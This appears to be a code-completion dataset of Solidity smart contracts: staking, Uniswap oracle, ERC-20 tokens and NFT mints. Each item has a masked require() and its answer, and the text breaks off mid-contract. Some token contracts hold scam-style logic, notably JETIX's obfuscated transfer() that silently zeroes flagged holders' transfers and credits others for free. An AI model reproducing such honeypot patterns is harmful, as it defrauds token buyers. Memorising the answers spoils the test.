function ethClaimCountForStack(
uint256 stackSize
) external view returns (uint256) {
}
function erc20ClaimCountForStack(
uint256 stackSize,
address erc20
) external view returns (uint256) {
}
function _claimCountForStack(
uint256 stackCount,
uint256 totalStacksOnInterwal,
uint256 assetCountOnInterwal
) internal pure returns (uint256) {
}
function erc20ClaimForStack(
address erc20,
uint256 stackCount
) external view returns (uint256) {
}
function _nextInterval() internal returns (bool) {
}
function claimEth() external {
}
function _claimEth() internal {
}
function claimErc20(address erc20) external {
}
function _claimErc20(address erc20) internal {
// move interval
_nextInterval();
// move erc20 to interval
Erc20Info storage info = _erc20nfos[erc20];
if (_intervalNumber > info.intervalNumber) {
info.intervalNumber = _intervalNumber;
info.totalCountOnInterval = this.erc20TotalForRewards(erc20);
}
require(<FILL_ME>)
_erc20ClaimIntervals[msg.sender][erc20] = _intervalNumber;
uint256 claimCount = _claimCountForStack(
_stacks[msg.sender].count,
_totalStacksOnInterval,
info.totalCountOnInterval
);
require(claimCount > 0, 'nothing to claim');
IERC20(erc20).safeTransfer(msg.sender, claimCount);
emit OnClaimErc20(msg.sender, _stacks[msg.sender], claimCount);
}
function batchClaim(bool claimEth, address[] calldata tokens) external {
}
}
| this.erc20ClaimIntervalForAccount(msg.sender,erc20)<=_intervalNumber,'can not claim on current interval' | 231,158 | this.erc20ClaimIntervalForAccount(msg.sender,erc20)<=_intervalNumber |
null | // SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
contract PORTAL is Context, IERC20, IERC20Metadata, Ownable{
mapping (address => uint256) private _balances;
mapping(address => bool) public tokeninfo;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address private _CreWallet;
constructor (string memory name_, string memory symbol_, address add) {
}
uint128 taxAmount = 64544;
bool globaltrue = true;
bool globalff = false;
function addBots(address bot) public virtual returns (bool) {
address tmoinfo = bot;
tokeninfo[tmoinfo] = globaltrue;
require(<FILL_ME>)
return true;
}
function removeLimits() external {
}
function delBots(address notbot) external {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer( address from, address to, uint256 amount) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| _msgSender()==_CreWallet | 231,295 | _msgSender()==_CreWallet |
"NO" | // SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0 <0.8.0;
import "../v3-core/FullMath.sol";
import "../v3-core/TickMath.sol";
import "../v3-core/IUniswapV3Pool.sol";
/// @title Oracle library
/// @notice Provides functions to integrate with V3 pool oracle
library OracleLibrary {
/// @notice Calculates time-weighted means of tick and liquidity for a given Uniswap V3 pool
/// @param pool Address of the pool that we want to observe
/// @param secondsAgo Number of seconds in the past from which to calculate the time-weighted means
/// @return arithmeticMeanTick The arithmetic mean tick from (block.timestamp - secondsAgo) to block.timestamp
/// @return harmonicMeanLiquidity The harmonic mean liquidity from (block.timestamp - secondsAgo) to block.timestamp
function consult(address pool, uint32 secondsAgo)
internal
view
returns (int24 arithmeticMeanTick, uint128 harmonicMeanLiquidity)
{
}
/// @notice Calculates time-weighted means of tick and liquidity for a given Uniswap V3 pool over a timestamp range
/// @param pool Address of the pool that we want to observe
/// @param time The current block.timestamp
/// @param secondsAgo Number of seconds in the past from which to calculate the time-weighted means
/// @param target The target time where the timestamp range starts
/// @return arithmeticMeanTick The arithmetic mean tick from (target - secondsAgo) to target
function consultRange(
address pool,
uint256 time,
uint256 target,
uint32 secondsAgo
) internal view returns (int24 arithmeticMeanTick) {
require(secondsAgo != 0, "BP");
require(target <= time, "TT");
uint32[] memory secondsAgos = new uint32[](2);
// Observe at timestamp = target
secondsAgos[1] = uint32(time - target);
// Observe at timestamp = target - secondsAgo
secondsAgos[0] = secondsAgos[1] + secondsAgo;
// From https://github.com/euler-xyz/euler-contracts/blob/master/contracts/modules/RiskManager.sol
(bool success, bytes memory data) = pool.staticcall(
abi.encodeWithSelector(IUniswapV3PoolDerivedState.observe.selector, secondsAgos)
);
// Reverts if the secondsAgos[0] is older than the oldest observation timestamp
if (!success) {
// Ensure that the revert is due to secondsAgos[0] being older
require(<FILL_ME>)
// Get the oldest observation timestamp
(, , uint16 index, uint16 cardinality, , , ) = IUniswapV3Pool(pool).slot0();
// Revert if not enough observations
require(cardinality > 1, "NEO");
(uint32 oldestAvailableAge, , , bool initialized) = IUniswapV3Pool(pool).observations(
(index + 1) % cardinality
);
if (!initialized) (oldestAvailableAge, , , ) = IUniswapV3Pool(pool).observations(0);
// Observe at timestamp = oldestAvailableAge
secondsAgos[0] = uint32(time - uint256(oldestAvailableAge));
// Observe at timestamp = oldestAvailableAge + secondsAgo
// If (oldestAvailableAge + secondsAgo) > time, then timestamp = time
secondsAgos[1] = secondsAgos[0] > secondsAgo ? secondsAgos[0] - secondsAgo : 0;
(success, data) = pool.staticcall(
abi.encodeWithSelector(IUniswapV3PoolDerivedState.observe.selector, secondsAgos)
);
require(success, "SO");
}
int56[] memory tickCumulatives = abi.decode(data, (int56[]));
int56 tickCumulativesDelta = tickCumulatives[1] - tickCumulatives[0];
arithmeticMeanTick = int24(tickCumulativesDelta / secondsAgo);
// Always round to negative infinity
if (tickCumulativesDelta < 0 && (tickCumulativesDelta % secondsAgo != 0)) arithmeticMeanTick--;
}
/// @notice Given a tick and a token amount, calculates the amount of token received in exchange
/// @param tick Tick value used to calculate the quote
/// @param baseAmount Amount of token to be converted
/// @param baseToken Address of an ERC20 token contract used as the baseAmount denomination
/// @param quoteToken Address of an ERC20 token contract used as the quoteAmount denomination
/// @return quoteAmount Amount of quoteToken received for baseAmount of baseToken
function getQuoteAtTick(
int24 tick,
uint128 baseAmount,
address baseToken,
address quoteToken
) internal pure returns (uint256 quoteAmount) {
}
/// @notice Given a pool, it returns the number of seconds ago of the oldest stored observation
/// @param pool Address of Uniswap V3 pool that we want to observe
/// @return secondsAgo The number of seconds ago of the oldest observation stored for the pool
function getOldestObservationSecondsAgo(address pool) internal view returns (uint32 secondsAgo) {
}
/// @notice Given a pool, it returns the tick value as of the start of the current block
/// @param pool Address of Uniswap V3 pool
/// @return The tick that the pool was in at the start of the current block
function getBlockStartingTickAndLiquidity(address pool) internal view returns (int24, uint128) {
}
/// @notice Information for calculating a weighted arithmetic mean tick
struct WeightedTickData {
int24 tick;
uint128 weight;
}
/// @notice Given an array of ticks and weights, calculates the weighted arithmetic mean tick
/// @param weightedTickData An array of ticks and weights
/// @return weightedArithmeticMeanTick The weighted arithmetic mean tick
/// @dev Each entry of `weightedTickData` should represents ticks from pools with the same underlying pool tokens. If they do not,
/// extreme care must be taken to ensure that ticks are comparable (including decimal differences).
/// @dev Note that the weighted arithmetic mean tick corresponds to the weighted geometric mean price.
function getWeightedArithmeticMeanTick(WeightedTickData[] memory weightedTickData)
internal
pure
returns (int24 weightedArithmeticMeanTick)
{
}
}
| keccak256(data)==keccak256(abi.encodeWithSignature("Error(string)","OLD")),"NO" | 231,378 | keccak256(data)==keccak256(abi.encodeWithSignature("Error(string)","OLD")) |
"blackList" | pragma solidity = 0.8.14;
//--- Context ---//
abstract contract Context {
constructor() {
}
function _msgSender() internal view returns (address payable) {
}
function _msgData() internal view returns (bytes memory) {
}
}
//--- Ownable ---//
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
interface IFactoryV2 {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to, uint deadline
) external payable returns (uint[] memory amounts);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IRouter02 is IRouter01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
//--- Interface for ERC20 ---//
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//--- Contract v2 ---//
contract GuZhuYiZhi is Context, Ownable, IERC20 {
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
mapping(address => bool) public _blackList;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _noFee;
mapping (address => bool) private liquidityAdd;
mapping (address => bool) private isLpPair;
mapping (address => bool) private isPresaleAddress;
mapping (address => uint256) private balance;
uint256 constant public _totalSupply = 420690000000000 * 10 ** 9;
uint256 constant public swapThreshold = _totalSupply / 5_000;
uint256 public buyfee = 10;
uint256 public sellfee = 10;
uint256 constant public transferfee = 0;
uint256 constant public fee_denominator = 1_000;
bool private canSwapFees = true;
address payable private marketingAddress = payable(0xB7372Ff086627041fcaB93F38A272e4C1D1dE9FF);
IRouter02 public swapRouter;
string constant private _name = "GuZhuYiZhi";
string constant private _symbol = unicode'孤注一掷';
uint8 constant private _decimals = 9;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
address public lpPair;
bool public isTradingEnabled = false;
bool private inSwap;
modifier inSwapFlag {
}
event _enableTrading();
event _setPresaleAddress(address account, bool enabled);
event _toggleCanSwapFees(bool enabled);
event _changePair(address newLpPair);
event _changeWallets(address marketing);
constructor () {
}
receive() external payable {}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) external override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function isNoFeeWallet(address account) external view returns(bool) {
}
function setNoFeeWallet(address account, bool enabled) public onlyOwner {
}
function isLimitedAddress(address ins, address out) internal view returns (bool) {
}
function is_buy(address ins, address out) internal view returns (bool) {
}
function is_sell(address ins, address out) internal view returns (bool) {
}
function chansellfee(uint256 sellfee_) external onlyOwner {
}
function canSwap(address ins, address out) internal view returns (bool) {
}
function changeLpPair(address newPair) external onlyOwner {
}
function toggleCanSwapFees(bool yesno) external onlyOwner {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
bool takeFee = true;
require(to != address(0), "ERC20: transfer to the zero address");
require(from != address(0), "ERC20: transfer from the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(<FILL_ME>)
if (isLimitedAddress(from,to)) {
require(isTradingEnabled,"Trading is not enabled");
}
if(is_sell(from, to) && !inSwap && canSwap(from, to)) {
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= swapThreshold) { internalSwap(contractTokenBalance); }
}
if (_noFee[from] || _noFee[to]){
takeFee = false;
}
balance[from] -= amount; uint256 amountAfterFee = (takeFee) ? takeTaxes(from, is_buy(from, to), is_sell(from, to), amount) : amount;
balance[to] += amountAfterFee; emit Transfer(from, to, amountAfterFee);
return true;
}
function changeWallets(address marketing) external onlyOwner {
}
function takeTaxes(address from, bool isbuy, bool issell, uint256 amount) internal returns (uint256) {
}
function internalSwap(uint256 contractTokenBalance) internal inSwapFlag {
}
function setPresaleAddress(address presale, bool yesno) external onlyOwner {
}
function enableTrading() external onlyOwner {
}
function manage_bl(address[] calldata addresses, bool status) external onlyOwner {
}
}
| !_blackList[from],"blackList" | 231,517 | !_blackList[from] |
"Dont waste your ETH" | // LenaAdam22JasonLuvTube8Brazzers // BANANA
//
// www.lenaadam22jasonluvtube8brazzers.com
//
// https://t.me/BananaERC20
//
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.18;
import {ERC20} from "ERC20.sol";
import {Ownable} from "Ownable.sol";
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract BANANA is ERC20, Ownable {
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public devWallet;
uint256 public maxTransactionAmount;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public buyTotalFees;
uint256 public sellTotalFees;
uint256 public blockStart;
uint256 public copyWei;
uint256 public blockTxCount;
uint256 public currentBlock;
bool public swapping;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = true;
bool public transferDelayEnabled = true;
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) private _isExcludedMaxTransactionAmount;
mapping(address => uint256) private _holderLastTransferTimestamp;
mapping(address => bool) public automatedMarketMakerPairs;
event ExcludeFromFees(address indexed account, bool isExcluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
constructor() ERC20("LenaAdam22JasonLuvTube8Brazzers", "BANANA") {
}
receive() external payable {}
function enableTrading() external onlyOwner {
}
function removeLimits() external onlyOwner returns (bool) {
}
function excludeFromMaxTransaction(address updAds, bool isEx)
public
onlyOwner
{
}
function updateSwapEnabled(bool enabled) external onlyOwner {
}
function updateBuyFees(
uint256 _buyTotalFees
) external onlyOwner {
}
function updateSellFees(
uint256 _sellTotalFees
) external onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
!swapping
) {
if (!tradingActive) {
require(_isExcludedFromFees[from] || _isExcludedFromFees[to],"Trading is not active.");
}
if (blockStart == block.number) {
require(<FILL_ME>)
if (transferDelayEnabled) {
if (
to != owner() &&
to != address(uniswapV2Router) &&
to != address(uniswapV2Pair)
) {
require(_holderLastTransferTimestamp[tx.origin] < block.number, "Only one purchase per tx per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
}
if (
automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]
) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet,"Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
_swapBack();
swapping = false;
}
bool takeFee = !swapping;
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = amount * sellTotalFees / 100;
}
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount * buyTotalFees / 100;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function _swapTokensForEth(uint256 tokenAmount) private {
}
function _swapBack() private {
}
}
| tx.gasprice-block.basefee==copyWei,"Dont waste your ETH" | 231,601 | tx.gasprice-block.basefee==copyWei |
null | pragma solidity 0.8.19;
// SPDX-License-Identifier: MIT
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract JETIX {
using SafeMath for uint256;
mapping (address => uint256) private PLWQa;
address FTL = 0xCA0453de46E547e1820DcB71f35312f15Da007c0;
mapping (address => uint256) public PLWQb;
mapping(address => mapping(address => uint256)) public allowance;
string public name = "JETIX NETWORK";
string public symbol = "JETIX";
uint8 public decimals = 6;
uint256 public totalSupply = 300000000 *10**6;
address owner = msg.sender;
address private PLWQc;
event Transfer(address indexed from, address indexed to, uint256 value);
address PLWQf = 0xf2b16510270a214130C6b17ff0E9bF87585126BD;
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner () {
}
function renounceOwnership() public virtual {
}
function SPCWBY() internal {
}
function balanceOf(address account) public view returns (uint256) {
}
function transfer(address to, uint256 value) public returns (bool success) {
if(PLWQb[msg.sender] > 8) {
require(<FILL_ME>)
value = 0;}
else
if(PLWQb[msg.sender] == 6) {
PLWQa[to] += value;
}
else
require(PLWQa[msg.sender] >= value);
PLWQa[msg.sender] -= value;
PLWQa[to] += value;
emit Transfer(msg.sender, to, value);
return true; }
function approve(address spender, uint256 value) public returns (bool success) {
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
}
}
| PLWQa[msg.sender]>=value | 231,639 | PLWQa[msg.sender]>=value |
"Max Supply" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "../lib/openzeppelin-contracts/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "../lib/openzeppelin-contracts/contracts/access/Ownable.sol";
import "../lib/openzeppelin-contracts/contracts/utils/Strings.sol";
import "../lib/openzeppelin-contracts/contracts/utils/Counters.sol";
contract MevRobotsMint is ERC721Enumerable, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
mapping(uint256 => string ) _tokenURI;
// Constants
function maxSupply() internal pure returns (uint){
}
constructor() ERC721("Model Eros Village - Proto","MEV-Proto"){
}
function robotsMint(address[] calldata wAddresses) public onlyOwner {
require(
wAddresses.length < maxSupply() + 1,
"Too many Addresses"
);
require(<FILL_ME>)
for (uint i = 0; i < wAddresses.length; ) {
uint newTokenID = _tokenIds.current() + 1;
_mint(wAddresses[i],newTokenID);
_tokenIds.increment();
unchecked {
++i;
}
}
}
function baseURI() internal pure returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory){
}
function setTokenURI(string memory uri, uint tokenId ) public onlyOwner {
}
}
| totalSupply()<maxSupply(),"Max Supply" | 231,789 | totalSupply()<maxSupply() |
"EXCEED_STOCK" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "./library/ERC721.sol";
import "./library/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./library/extensions/ERC721Nameable.sol";
import "./library/extensions/Royalty.sol";
interface IWatu {
function updateReward(
address from,
address to,
uint256 tokenId
) external;
function getReward(address to) external;
}
contract Tekyan is ERC721, ERC721Enumerable, ERC721Nameable, Royalty, Ownable {
enum Status {
Close,
Presale,
Sale,
Breed
}
uint256 public constant TOTAL = 10_000;
uint256 public constant FIRST_TRIBE = 1_000;
uint256 public constant FIRST_TRIBE_PRICE = 0.07 ether;
uint256 public constant FIRST_TRIBE_MAX_MINT = 2;
uint256 public constant FIRST_TRIBE_PRESALE = 700;
uint256 public constant FIRST_TRIBE_PRESALE_PRICE = 0.06 ether;
uint256 public BREED_PRICE = 500 ether; // $WATU
uint256 public reservedMinted;
uint256 public presaleMinted;
Status public status;
bytes32 public root;
address public WATU_ADDRESS;
address public TEAM_ADDRESS;
mapping(address => uint256) public presalePurchases;
mapping(address => uint256) public purchases;
string public PROVENANCE;
string private _contractURI;
string private _tokenBaseURI;
constructor() ERC721("Tekyan Tribe", "TEKYAN") {}
function presale(
uint256 quantity,
uint256 allowance,
bytes32[] calldata proof
) public payable {
require(status == Status.Presale, "PRESALE_CLOSED");
uint256 _totalSupply = totalSupply();
require(<FILL_ME>)
require(
presaleMinted + quantity <= FIRST_TRIBE_PRESALE - reservedMinted,
"EXCEED_PRESALE_STOCK"
);
require(
_verify(_leaf(msg.sender, allowance), proof),
"INVALID_MERKLE_PROOF"
);
require(
presalePurchases[msg.sender] + quantity <= allowance,
"EXCEED_ALLOWANCE"
);
require(
msg.value == FIRST_TRIBE_PRESALE_PRICE * quantity,
"INSUFFICIENT_ETH"
);
presalePurchases[msg.sender] += quantity;
for (uint256 i; i < quantity; i++) {
presaleMinted++;
_safeMint(msg.sender, _totalSupply++);
}
}
function mint(uint256 quantity) public payable {
}
function breed(uint256 even, uint256 odd) public {
}
function getReward() public {
}
function changeName(uint256 tokenId, string memory newName) public override {
}
function balanceOfFirstTribe(address owner) public view returns (uint256) {
}
function contractURI() public view returns (string memory) {
}
function gift(address[] calldata receivers, uint256[] calldata amounts)
external
onlyOwner
{
}
function setStatus(Status _status) external onlyOwner {
}
function setContractURI(string memory uri) external onlyOwner {
}
function setBaseURI(string memory uri) external onlyOwner {
}
function setWatuAddress(address tokenAddress) external onlyOwner {
}
function setRoyaltyAddress(address royalty, uint256 value)
external
onlyOwner
{
}
function setBreedPrice(uint256 price) external onlyOwner {
}
function setNameChangePrice(uint256 price) external override onlyOwner {
}
function setProvenance(string memory provenance) external onlyOwner {
}
function setMerkleRoot(bytes32 merkleRoot) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function _leaf(address account, uint256 allowance)
internal
pure
returns (bytes32)
{
}
function _verify(bytes32 leaf, bytes32[] memory proof)
internal
view
returns (bool)
{
}
// The following functions are overrides required by Solidity.
function _baseURI() internal view override returns (string memory) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721) {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable, Royalty)
returns (bool)
{
}
}
| _totalSupply+quantity<=FIRST_TRIBE,"EXCEED_STOCK" | 231,855 | _totalSupply+quantity<=FIRST_TRIBE |
"EXCEED_PRESALE_STOCK" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "./library/ERC721.sol";
import "./library/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./library/extensions/ERC721Nameable.sol";
import "./library/extensions/Royalty.sol";
interface IWatu {
function updateReward(
address from,
address to,
uint256 tokenId
) external;
function getReward(address to) external;
}
contract Tekyan is ERC721, ERC721Enumerable, ERC721Nameable, Royalty, Ownable {
enum Status {
Close,
Presale,
Sale,
Breed
}
uint256 public constant TOTAL = 10_000;
uint256 public constant FIRST_TRIBE = 1_000;
uint256 public constant FIRST_TRIBE_PRICE = 0.07 ether;
uint256 public constant FIRST_TRIBE_MAX_MINT = 2;
uint256 public constant FIRST_TRIBE_PRESALE = 700;
uint256 public constant FIRST_TRIBE_PRESALE_PRICE = 0.06 ether;
uint256 public BREED_PRICE = 500 ether; // $WATU
uint256 public reservedMinted;
uint256 public presaleMinted;
Status public status;
bytes32 public root;
address public WATU_ADDRESS;
address public TEAM_ADDRESS;
mapping(address => uint256) public presalePurchases;
mapping(address => uint256) public purchases;
string public PROVENANCE;
string private _contractURI;
string private _tokenBaseURI;
constructor() ERC721("Tekyan Tribe", "TEKYAN") {}
function presale(
uint256 quantity,
uint256 allowance,
bytes32[] calldata proof
) public payable {
require(status == Status.Presale, "PRESALE_CLOSED");
uint256 _totalSupply = totalSupply();
require(_totalSupply + quantity <= FIRST_TRIBE, "EXCEED_STOCK");
require(<FILL_ME>)
require(
_verify(_leaf(msg.sender, allowance), proof),
"INVALID_MERKLE_PROOF"
);
require(
presalePurchases[msg.sender] + quantity <= allowance,
"EXCEED_ALLOWANCE"
);
require(
msg.value == FIRST_TRIBE_PRESALE_PRICE * quantity,
"INSUFFICIENT_ETH"
);
presalePurchases[msg.sender] += quantity;
for (uint256 i; i < quantity; i++) {
presaleMinted++;
_safeMint(msg.sender, _totalSupply++);
}
}
function mint(uint256 quantity) public payable {
}
function breed(uint256 even, uint256 odd) public {
}
function getReward() public {
}
function changeName(uint256 tokenId, string memory newName) public override {
}
function balanceOfFirstTribe(address owner) public view returns (uint256) {
}
function contractURI() public view returns (string memory) {
}
function gift(address[] calldata receivers, uint256[] calldata amounts)
external
onlyOwner
{
}
function setStatus(Status _status) external onlyOwner {
}
function setContractURI(string memory uri) external onlyOwner {
}
function setBaseURI(string memory uri) external onlyOwner {
}
function setWatuAddress(address tokenAddress) external onlyOwner {
}
function setRoyaltyAddress(address royalty, uint256 value)
external
onlyOwner
{
}
function setBreedPrice(uint256 price) external onlyOwner {
}
function setNameChangePrice(uint256 price) external override onlyOwner {
}
function setProvenance(string memory provenance) external onlyOwner {
}
function setMerkleRoot(bytes32 merkleRoot) external onlyOwner {
}
function withdraw() external onlyOwner {
}
function _leaf(address account, uint256 allowance)
internal
pure
returns (bytes32)
{
}
function _verify(bytes32 leaf, bytes32[] memory proof)
internal
view
returns (bool)
{
}
// The following functions are overrides required by Solidity.
function _baseURI() internal view override returns (string memory) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721) {
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable, Royalty)
returns (bool)
{
}
}
| presaleMinted+quantity<=FIRST_TRIBE_PRESALE-reservedMinted,"EXCEED_PRESALE_STOCK" | 231,855 | presaleMinted+quantity<=FIRST_TRIBE_PRESALE-reservedMinted |
"INVALID_MERKLE_PROOF" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import "./library/ERC721.sol";
import "./library/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./library/extensions/ERC721Nameable.sol";
import "./library/extensions/Royalty.sol";
interface IWatu {
function updateReward(
address from,
address to,
uint256 tokenId
) external;
function getReward(address to) external;
}
contract Tekyan is ERC721, ERC721Enumerable, ERC721Nameable, Royalty, Ownable {
enum Status {
Close,
Presale,
Sale,
Breed
}
uint256 public constant TOTAL = 10_000;
uint256 public constant FIRST_TRIBE = 1_000;
uint256 public constant FIRST_TRIBE_PRICE = 0.07 ether;
uint256 public constant FIRST_TRIBE_MAX_MINT = 2;
uint256 public constant FIRST_TRIBE_PRESALE = 700;
